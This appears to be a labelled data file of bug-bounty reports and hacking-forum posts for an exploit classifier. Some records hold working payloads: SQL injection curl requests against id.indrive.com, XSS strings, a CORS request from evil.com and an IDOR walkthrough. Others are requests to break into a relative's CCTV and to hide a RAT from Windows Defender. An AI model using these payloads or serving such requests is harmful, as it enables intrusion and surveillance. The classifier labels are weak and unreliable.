-{"id": "158d021c7ae900e069b5", "text": "[Unknown] CORS Misconfiguration on trust.yelp.com\n\n**Summary:**\nAn cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. This bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page\n**Description:**\nCORS misconfiguration is found on vanillaforums.com as `Access-Control-Allow-Credentials: true`.\n## Steps to reproduce:\n\n1.visit  [trust.yelp.com).\n2. Request:\n```\nGET /wp-json HTTP/2\nHost: trust.yelp.com\nOrigin: evil.com\nCookie: bse=2f10a62687154546b7369d41e3d21476; hl=en_US; wdi=1|5632650E427D021A|0x1.8cd49f9830b35p+30|571cd22f480ebb1f; recentlocations=; location=%7B%22city%22%3A+%22San+Francisco%22%2C+%22state%22%3A+%22CA%22%2C+%22country%22%3A+%22US%22%2C+%22latitude%22%3A+37.775123257209394%2C+%22longitude%22%3A+-122.41931994395134%2C+%22max_latitude%22%3A+37.81602226140252%2C+%22min_latitude%22%3A+37.706368356809776%2C+%22max_longitude%22%3A+-122.3550796508789%2C+%22min_longitude%22%3A+-122.51781463623047%2C+%22zip%22%3A+%22%22%2C+%22address1%22%3A+%22%22%2C+%22address2%22%3A+%22%22%2C+%22address3%22%3A+%22%22%2C+%22neighborhood%22%3A+%22%22%2C+%22borough%22%3A+%22%22%2C+%22provenance%22%3A+%22YELP_GEOCODING_ENGINE%22%2C+%22display%22%3A+%22San+Francisco%2C+CA%22%2C+%22unformatted%22%3A+%22San+Francisco%2C+CA%22%2C+%22isGoogleHood%22%3A+false%2C+%22usingDefaultZip%22%3A+false%2C+%22accuracy%22%3A+4%2C+%22language%22%3A+null%7D; xcj=1|VP4RtS_ulWCVhRYxwTqio5C_0Tnowry8JyX5dSRa8v8; _gcl_au=1.1.1120534857.1664428004; OptanonConsent=isGpcEnabled=0&datestamp=Thu+Sep+29+2022+11%3A07%3A00+GMT%2B0530+(India+Standard+Time)&version=6.34.0&isIABGlobal=false&hosts=&consentId=9f87b92f-a2b6-4222-98d3-a19bac35a2cd&interactionCount=1&landingPath=NotLandingPage&groups=BG51%3A1%2CC0003%3A1%2CC0002%3A1%2CC0001%3A1%2CC0004%3A1&AwaitingReconsent=false; _ga=GA1.2.5632650E427D021A; _gid=GA1.2.132283565.1664428009; __qca=P0-728600750-1664428009529; _clck=iywwke|1|f5a|0; _fbp=fb.1.1664428010403.1414791415; _clsk=12tz9lj|1664429606753|27|0|b.clarity.ms/collect; _conv_v=vi%3A1*sc%3A1*cs%3A1664429119*fs%3A1664429119*pv%3A3*exp%3A%7B%7D; _conv_s=si%3A1*sh%3A1664429118928-0.08454978389164447*pv%3A3; _conv_r=s%3Afooter*m%3Awww*t%3A*c%3Aclaim_business; _ga_MEZL1ZKM71=GS1.1.1664429120.1.1.1664429611.0.0.0; _hjSessionUser_2195429=eyJpZCI6ImM1NzNjMTIyLTRkOTgtNTUxYS1hOThkLTBjNjIxNjAxYWYxYyIsImNyZWF0ZWQiOjE2NjQ0MjkxMjIwNDEsImV4aXN0aW5nIjp0cnVlfQ==; _hjFirstSeen=1; _hjSession_2195429=eyJpZCI6IjBiMTJmZDIzLThkNmUtNGYxOC05Zjc5LTMwMDAyZTJlZDZlYyIsImNyZWF0ZWQiOjE2NjQ0MjkxMjI4MDgsImluU2FtcGxlIjp0cnVlfQ==; _hjAbsoluteSessionInProgress=0; _scid=794b8ac1-c50b-4ada-bf6e-789d2ac7e3d7; IR_gbd=yelp.com; IR_12770=1664429123516%7C0%7C1664429123516%7C%7C; _sctr=1|1664389800000; _ga_WKQNZR06KL=GS1.1.1664429203.1.1.1664429315.0.0.0; adc=oaUVdjlOR75Z-DQ7AggWhQ%3AVkHT1GfomqCobWvtlXEnhw%3A1664429336; _uetsid=832eb1003fb411edb47bd943b4efcd81; _uetvid=832eeaa03fb411ed8aa97b291a244fc8; tatari-session-cookie=fbd258df-f9a0-cad5-af44-123200dc664c\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\n\n\n```\nyou get an response like:\n```\nHTTP/2 200 OK\nContent-Type: application/json; charset=UTF-8\nServer: nginx\nDate: Thu, 29 Sep 2022 05:52:42 GMT\nVary: Accept-Encoding\nVary: Accept-Encoding\nVary: Accept-Encoding\nX-Robots-Tag: noindex\nLink", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc5a40adb784d0c381e1", "text": "If you are looking for wireless adapter pentesting then ALFA dual band wireless adapter is must. Please note that your pc network interface doesn’t support monitoring and packet injection. I would prefer your to buy ALFA dual band wireless adapter. But beginner to set up on kali Linux, would be frustating but you can watch david bombal youtube video.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bcb76f06bc3194c40248", "text": "[Blind SQL Injection] Blind SQL injection on id.indrive.com\n\n## Summary:\nThe server does not perform sanitization on user input, allowing an attacker to inject arbitrary SQL commands into a query.\n\n## Steps To Reproduce:\n\n  1. Go to https://promo.indrive.com/10ridestogetprize_ru/random\n  2. Click \"Сгенерировать\". A request to https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/29/5/phone will be made:\n\n████████\n 3. Repeat this request, but change the path to: \n```\n/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--\n```\nA random entry from the database will be returned:\n\n████\n  4. Change the path in a query to:\n```\n/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=2--\n```\nThe response from the server will be empty:\n\n███████\n\n**Both requests in curl format**\n```\ncurl -i -s -k -X $'GET' \\\n    -H $'Host: id.indrive.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Origin: https://promo.indrive.com' -H $'Referer: https://promo.indrive.com/' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-site' -H $'Te: trailers' -H $'Connection: close' \\\n    $'https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--'\n```\n```\ncurl -i -s -k -X $'GET' \\\n    -H $'Host: id.indrive.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Origin: https://promo.indrive.com' -H $'Referer: https://promo.indrive.com/' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-site' -H $'Te: trailers' -H $'Connection: close' \\\n    $'https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=2--'\n```\n\n## Impact\n\nThis vulnerability allows attackers to inject any SQL statements into a query.\nFor example, I was able to retrieve the SQL version:\n**PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1)**", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b3fda5dabbed48395ba9", "text": "I am Looking for someone who can access CCTV camera of my bro house. I have IP address and Camera Info\n\nCan someone perform this task? It is a paid task and my budget is $100 and near about. If can someone do it please reply me. It is very serious problem with my family, My Elder brother is on the stage of Divorce and our family want to help him with the situation. Thanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3087ff3b5a999690f57d", "text": "When I tried the 3. command I had a completely different result. My result was 738. The answer was incorrect. Then I just tried to type in 737 and it was correct. Does anybody know why there was one more package listed?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "78b8d11efbe6fc147467", "text": "The issue for you and for most from what I see is the dots in the counter. You’re using {1(3dots)28} while you should be using {1(2dots)28}. Made the same mistake.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0a59f1138483b197b753", "text": "Hello everyone, I am having the same problem as others before me: I am using the same script as posted before I create a token for htbuser and convert the given timestamp to epoch I also tried to take the timestamp and convert it to my time zone, then convert it to epoch Fed the timestamp to the script with a ±1000 ms range The script iterates 2000 times and each time creates an md5 hash of htbadmin+iteration# It sends the request and filters out all responses with the string “Wrong token” but… It does just that for 2000 times without returning any valid token. Nothing at all happens. So I am guessing that my mistake is at the beginning when I choose the timestamp to convert? I am using online websites or date -d ‘TIMESTAMP’ +%s for the conversion. Can someone point me in the right direction?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b33415f5eb80e1809e4", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected - ███\n\nHi Team,\n\nI found a XSS Reflected.\n\n```\nhttps://██████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)\n```\n\nThans DRauschkolb\n\n## Impact\n\nXSS vulnerabilities can be used to trick a web user into executing a malicious script, potentially revealing a user's web session information or modify web content & even steal cookies.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps://█████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e83c9a5026ad6b509c14", "text": "[Cross-site Scripting (XSS) - DOM] Dom Xss vulnerability\n\n## Summary:\nDom Xss vulnerability\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Go to this link: https://api.recordedfuture.com/index.html\n  2. Open chrome devtool and go to console tab\n  3. Type: document.write('...<script>alert(1)</script>...');\n  4. And boom! Alert 1!\n\n## Impact\n\nXSS can have huge implications for a web application and its users. User accounts can be hijacked, credentials could be stolen, sensitive data could be exfiltrated, and lastly, access to your client computers can be obtained.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4d2e55909983721d22ba", "text": "Prototype pollution (against GSAP)\n\nHey everyone, I was doing bug bounting on HackerOne abd got invited to what looks to me like a good program for begginers since it doesn’t offer any bounties, there were not many found and the target had like 300 subdomains. It’s not my first program however it’s the first vulnerability I’m reporting. So, I notice that they’re using a GSAP version that is vulnerable to prototype pollution (CVE-2020-28478). I googled for a proof of concept and found one at [Synk]'s website ( Prototype Pollution in gsap | CVE-2020-28478 | Snyk ) It’s this simple piece of code: gsap.config({ autoSleep: JSON.parse('{\"__proto__\":{\"__proto__\":{\"polluted\":\"yes\"}}}') }); // gsap.defaults(JSON.parse('{\"proto\":{\"polluted\":\"yes\"}}')); document.write('Polluted : ' + polluted); I got really happy since it worked, wrote a nice report and and sent them, saying that possible types of attacks include DoS, RCE and Property Injection as I saw at Synk’s website. The program is being managed by HackerOne themselves and the triage moderator asked me for a PoC related to the types of attacks above. I learned some stuff about prototype pollution and, as of my understanding, unlesss there’s some sort of functions that would be used to either do some server-side work or at least trigger it, there’s no way of making it work? Well, to summarize I would like to know your opinions or some guidance to exploit the vulnerability, possibly RCE since DoS is a sort of grey area because it can damage their uptime and I don’t think that would be professional or even ethical. Thanks in advance", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-28478"], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-08-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4911ce81de3dccc686eb", "text": "[Insecure Direct Object Reference (IDOR)] Nextcloud Deck : Possibility for anyone to add a stack with existing tasks on anyone's board\n\nHi everyone,\n\nHope you are well ! \n\nI found an IDOR vulnerability, allowing any user without privilege to add lists with tasks in any user board.\nThis was tested on a Nextcloud Hub II server (v23) with the Deck application in version 1.6.0.\n\n## Steps To Reproduce:\n\nBeforehand: \n\n- Have an A user with a board ID specific to that user (`boardId` parameter)\n- Have a user B with a board ID specific to that user (`boardId` parameter)\n- Note that there is no link between our user A and user B\n\n**1°)** With your user A, rename an existing list belonging to him. \n\nThe following PUT request is made :\n\n```\nPUT /apps/deck/stacks/31 HTTP/1.1\nHost: nextcloud.yourserver.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\nAccept: application/json, text/plain, */*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nrequesttoken: <token>\nContent-Length: 136\nOrigin: https://nextcloud.yourserver.com\nConnection: close\nCookie: <your_session_cookies>\n\n{\"title\":\"IDOR\",\"boardId\":14,\"deletedAt\":0,\"lastModified\":1642201857,\"order\":0,\"id\":31,\"ETag\":\"a5f7e3ab477ee2a2259f0889a63130a8\"} \n```\n\nIntercept the request, change the `boardId` parameter to that of your victim (user B)  and play the modified request..\n\nCheck the server response that confirms the vulnerability: \n\n```\nHTTP/1.1 200 OK\nServer: nginx\nDate: Fri, 14 Jan 2022 23:39:49 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 135\nConnection: close\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nPragma: no-cache\nCache-Control: no-cache, no-store, must-revalidate\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nX-Robots-Tag: none\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Robots-Tag: none\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nStrict-Transport-Security: max-age=31536000; includeSubDomains;\n\n{\"title\":\"IDOR_REPORT\",\"boardId\":1,\"deletedAt\":0,\"lastModified\":1642201857,\"order\":0,\"id\":31,\"ETag\":\"a5f7e3ab477ee2a2259f0889a63130a8\"}\n```\n\n**2°)** With your user B, go to the board in question and notice the addition of a new list with tasks without his knowledge\n\nAdditional Notes: \n\n- This works from one user without privilege to another\n- It works from an unprivileged user on the board of an administrator/privileged user\n- If this vulnerability is exploited with a list containing several tasks, each containing images, labels, calendar etc., everything is imported to the victim's account\n- If our victim deletes the list created without his knowledge, it also deletes it on the attacker's side\n\n## Impact\n\nBroken Access Control - IDOR : The impact here is to be able to add lists with tasks on the board of any user and harm them.\nWe could imagine here brute-forcing the `boardId` parameter starting from 1 to 1000 (for example) to exploit this vulnerability on all the existing users/tables. We could also create on our victim an incalculable number of lists on his board.\n\nLooking forward to exchanging.\n\nRegards,\nSupras", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7d8a26c8967c22af36e6", "text": "[Remote File Inclusion] HTML injection in API response including request url\n\nHi  Reddit , \nI found a way to  distribute, persist &   store  Illegal images    such as child porn , beheadings  on reddit and in plain sight  .\nI can also store & distribute xml ,json   data eg illegal links .\nI can also store & communicate illegal instructions  aka terrorist messages  in  html  and  plain text.\nThis hack  also bypasses all security related to detecting illegal messages & pictures on reddit\n\n\n## Impact:\nMany possible impacts :\nCriminals  could trade child porn ,beheading and other illegal  images on reddit  without detection .\nCriminals & Terrorist groups could  distribute illegal  bombing & attack messages  \nCriminals could store JavaScript code  \nUser will not be presented with Warning that you are navigating away from Reddit.com \nCriminals could  pretend to be Legitimate  Reddit employees and trick  reddit users into  navigating to & executing the code simply by right click Go to in there browser as  a result Criminals could  exploit reddit users &  steal there cookies and   infect them with  viruses etc once they execute the  stored code . \nAll of the above would by pass Reedits automated  systems .\nTo execute this proof of concepts please Login to reddit as a user than navigate to the  url.\n\n\nThere are 3 classes \n1) Storage , Persistence by criminals\n2) Retrieval , By criminals\n3)Executions -involuntary by unsuspecting reddit users.\nThe data  retrieval can be voluntary eg criminal networks  doing scheduled drop offs and pick ups , or hackers deliberately persisting malicious code that infects or spies on involuntary curious users   landing form hrefs and following instructions but  instead  getting pawned  due to executing the JavaScript.\n\n\n##PROOF OF Distributing child porn  \nYou will see BART SIMPSON image as an example but  its clear that he  API  isn't going to run any sort of Image recognition validation or neural net on  this API  input. The below demonstrates  misusing the  reditt.com  api  to store  illegal images\nIt also demonstrates criminals can than access and trade illegal  like child porn images in plain site on reddit. \n\n\n<code>\nhttps://s.reddit.com/REDIT.EXPERIMENTAL.FEATURE:Hi.user.You.know.we.got.the.stuff.right.click.and.go.on.data..........", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "75aa81cde352519fda38", "text": "[Information Disclosure] Information Disclosure - Pvt Gitlab Issue Disclosing Through GitLab Unfiltered YouTube channel.\n\nDear GitLab Security Team,\n\nI hope this message finds you well. I am writing to report a potential security vulnerability related to information disclosure on GitLab.\n\n##Description:\nDuring my routine usage of GitLab, I came across a video on the official GitLab Unfiltered YouTube channel that inadvertently disclosed sensitive information. The video, titled \"[2023-07-25 Product Analytics Group Sync],\" showcased a private issue report containing details of a security vulnerability within GitLab. This issue report should not have been publicly accessible or disclosed, as it contains potentially sensitive information.\n\nUpon viewing the video, it was evident that the issue report contained details like specific URLs, snippets of code, and descriptions of the vulnerability. This level of information disclosure poses a significant security risk to GitLab users and potentially to GitLab itself.\n\n##Steps to Reproduce:\n\n1.) Visit the GitLab Unfiltered YouTube channel This Video: https://youtu.be/ndCUIp1gfsA?t=203\n█████████\n##Recommendation:\nI strongly advise GitLab's security team to take immediate action to remove or restrict access to the video that contains the disclosed private issue report. Additionally, Plz Recheck the video Before uploading... On YouTube Channel :)\n\n## Impact\n\n##Impact:\nThe potential consequences of this information disclosure could be severe, including but not limited to:\n\n1.) Unauthorized access to sensitive information about a security vulnerability.\n2.) Possible exploitation of the disclosed vulnerability by malicious entities.\n3.) Damage to the reputation of GitLab as a secure development platform.\n4.) Violation of privacy and confidentiality of GitLab users who reported the issue.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "461ed9db9d750fa11b18", "text": "How to embed an exe in a pdf file that can bypass windows defender?\n\nI’m trying to be able to embed my RAT into a pdf file. I have tried many ways, to be able to bypass defender. Looking forward to finding someone who can help me", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f167f8bc8707ceb5cba5", "text": "crankor: How will I know that they talk about Harry Potter, is that I have a crystal ball, These reots should improve the context,I know it’s about Harry because I’ve read it on the forum but I don’t know when it would have occurred to me that it was about Howards Academy I did parts of the assessment on several days, so I had no chance to still remember the name Harry from the previous exercise… Now I am stuck at the very last question: I found the second username and tries rockyou-30 as instructed. However, no chance to brute force into his SSH account. I tried both routes, from the internal 0.0.0.0.:80 address, as well the external IP address. Any additional suggestions or hints? Thank you!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "884b0c471bd7289288a8", "text": "[Privacy Violation] De-anonymize anonymous tips through the Tumblr blog network\n\nHey y’all! 👋 Hope all is well!\n\n## Summary:\nI noticed that, if you send an anonymous tip through the Tumblr dashboard, you can be de-anonymized through the notes view on the blog network (& maybe elsewhere?).\n\n## Platform(s) Affected:\nAll platforms, but requires a blog that is served on the blog network.\n\n## Steps To Reproduce:\nTo reproduce, you’ll need to…:\n\n1. Have a blog with tips enabled\n2. Use a Tumblr blog theme that shows avatars in the permalinked post notes view\n\nThen, to reproduce the issue:\n\n1. Make an anonymous tip from the Tumblr dashboard.\n2. Notice that, in the post view on the dashboard, it says “Anonymous” as the tipper.\n3. Go to the blog on the blog network and find the post that you tipped for.\n4. Open the post permalink view and expand the notes. The avatar from your primary blog that you “anonymously” tipped from will be shown.\n\n## Supporting Material/References:\nA couple of things:\n\n* I don’t quite remember how the notes are rendered on the blog network. The blog I noticed this on (████████.tumblr.com) uses a custom theme instead of “Tumblr Official” but that doesn’t change that a user can be de-anonymized on the blog network.\n* I also wasn’t sure if anonymous tips were actually anonymous to the receiver too but, if they aren’t, that would allow for the receiver to be considered an “attacker” here.\n* When this was an issue with anonymous asks many many years ago, we just removed the `user_id` association with that anonymous ask. Dunno if that’s possible here but I’ll offer it as a suggestion. :)\n\nI’ve also attached screenshots of the blog network notes view and the Tumblr dashboard notes view.\n\n## Impact\n\nAn attacker (either the blog owner or a curious brower) can de-anonymize blogs that left an anonymous tip on a post.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b1cc8110c61d8df9d00", "text": "[Improper Access Control - Generic] Admin panel Exposure without credential at https://plus-website.shopifycloud.com/admin.php\n\nHey team \n\nI found the admin panel at https://plus-website.shopifycloud.com/admin.php?_page=1 exposed without authentication\n\n## Impact\n\nattacker can destroy and edit data", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a29996c5a868182e3457", "text": "[Uncontrolled Resource Consumption] Possible DoS Vulnerability in Multipart MIME parsing in rack\n\nIn Rack 3.0.4.x before 3.0.4.2, 2.2.6.x before 2.2.6.3, 2.1.4 before 2.1.4.3 and 2.0.9.x before 2.0.9.3, the multipart request parser was subject to a Denial of Service attack. The multipart request parser processes the request body on any POST endpoints. The parser was processing an unlimited number of empty/field multipart-parts.The parsing and tracking of an unbound number of parts can lead to extensive CPU usage and memory exhaustion.\nThe vulnerability affects all rails applications, unless they are behind a proxy that blocks POST requests with _large_ bodies (double digit MB).\n\nSide note: The DoS vectors are not unique to the multipart request parser in Rack. Many other large vendors (other programming languages/frameworks/applications) were notified about the DoS vectors as well and an embargo date was set for the coordinated disclosure.\n\nThe Rack maintainers took part in a coordinated disclosure of the DoS vulnerability with many other large vendors. This required scheduling a dedicated release for the fixes in Rack. Unfortunately, the maintainers missed the embargo date due to issues with getting a hold of a CVE for the vulnerability.\n\nThe issue was reported via HackerOne, the report is https://hackerone.com/reports/1789204.\n\n## Impact\n\nHigh CPU usage blocks workers and significantly delays other requests from getting processed (minutes). High memory usage can lead to the application getting OOM killed.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "05fe905b7e891215720e", "text": "[Information Disclosure] Information disclosure-Referer leak\n\nAssigned to: Brave\nAssigned by: Kirtikumar Anandrao Ramchandani\nAssigned on: 13/09/2021\nBrowser information used to test (Up to date):\n```\nBrave\t1.29.79 Chromium: 93.0.4577.63 (Official Build) (64-bit)\nRevision\tff5c0da2ec0adeaed5550e6c7e98417dac77d98a-refs/branch-heads/4577@{#1135}\nOS\tWindows 10 OS Version 2009 (Build 19043.1165)\n```\n\nVulnerability name: Information Disclosure\nVulnerability description: Brave browser has a function of    `New Private Window with Tor`. The browser when used with Tor shouldn't leak the referer.\nSteps to reproduce:\n1. Visit [exploit].\n2. Click on `https://www.whatismybrowser.com/`.\n\nExpected behavior: It should have shown a blank `referrer`\nActual behavior: It shows the referrer as: `kirtikumarar.com` which was the host from where we navigated\n\nTo know expected behavior, please refer to the below screenshot:\n{F1445735}\n\nVideo POC showing the expected behavior can be found below:\n\n{F1445736}\n\n[exploit]: https://kirtikumarar.com/referrer/top-page.html\n\n## Impact\n\n1. This will leak users information\n2. In the Tor network, we don't have common URLs as we have in the browsers. They usually are something like `dhxnafkaxlxdnackeudxdca.onion`, those can be leaked.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7e69f4b1c212eef8ee5", "text": "GREENIE seems to be the key, and I agree that understanding it is crucial. If you’re hitting a “An error occurred” message when running the EXE, there might be something you’re missing in the setup. Regarding endianness, it’s a bit tricky. Little Endian can affect how data is stored and read in memory, but its direct impact on the software might not always be obvious. Try examining the code closely to see if it’s manipulating data in a way that relates to endianness. For more guidance, I’d suggest checking out some malware analysis writeups . These can provide valuable insights into how others have approached similar challenges.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7254bda5b312e27ca88c", "text": "I will give my contribution to this exercise because it is extremely poorly formulated, causing huge problems with the construction of the usernames and password lists. There it goes: Install username-anarchy using the command: git clone GitHub - urbanadventurer/username-anarchy: Username tools for penetration testing (something that should already be installed in pwnbox) Enter the username-anarchy folder and create a usernames list using the command .username-anarchy user > user.txt (change user for the user you used in the past, “it’s already clear here on the forum”). Save the list as usernames.txt Create a password list. Start cupp and put only the character’s first name (the first line). Also includes add special characters and l33t mode. Run hydra by passing the list of usernames and passwords you created with the command you leared in the last few lessons. The user is something like (****.*****). Use usernames.txt and the passwords.txt that you did. Don’t forget to use -u and -f flags. The ftp part is just the same steps as in the Service Authentication Brute Forcing lesson. I hope the hack the box team create more explanatory exercises, as the learning material is very good, but spending hours and hours running a list of words to finish an exercise is sad.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "61e5ee56bd7f9360d91e", "text": "[Improper Access Control - Generic] Scope information is leaked when visiting policy scopes tab of any External Program\n\nHello Team,\n\n## Summary:\nThe new scope policy feature displays all Program names and scopes that are using the new functionality.\n\n### Details:\nA ``External program + invite-only`` consider ``hackerone.com/████`` as a unauthenticated user I see only ``Policy`` tab, and no option to view scopes.\n██████████\n\n\nThis is also a private program, and this is how it looks and has all tabs and supports/implemented new scope policy feature.\n\n██████████\n\nWe know that new scope policy is implemented at ``/policy_scopes``. If you appending it to ``hackerone.com/███``, application breaks and gives out all the programs' scope under it. See below image,\n\n███████\n\n████████\n\n████\n\nI was able to confirm some of my private programs listed in this leak and are they not publicly available programs. As far as I understand, this leaks only program which have new scope policy implemented.\n\nPrivate Programs for example:\n> https://hackerone.com/██████████\n>https://hackerone.com/█████\n> https://hackerone.com/██████████\n> https://hackerone.com/████\n\nIt is also observed that, once you visit and application break and show all domain, hackerone.com breaks and struggle to load - DoS\n\n████\n\n## Steps to reproduce:\nUse Burp Suite, and a browser (keep it unauth) to reproduce and follow steps listed below.\n\n1. Visit ``https://hackerone.com/█████████/policy_scopes``\n2. Go to burp, search for the request which says ``PolicyScopeAssetGroupsQuery`` as ``operationName`` send it to repeater\n3. Increase the size to 2215 (more than that the api doesn't give any results)\n\n████\n\n4. You can search for the private program's domains in response, e.g ``███.com, ██████████.com, ████.io etc``\n            \n████████ ---------> ███████\n\n█████████ ---------> ████\n\n█████████ ---------> ████████\n\n**Left side are images of  data leaks from above vulnerability**\n**Right side are images from my private programs**\n\nLet me know if you need any other details :)\n\nKind regards,\n@buraaqsec\n\n## Impact\n\nUnauthorized user is able to view private programs' details.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
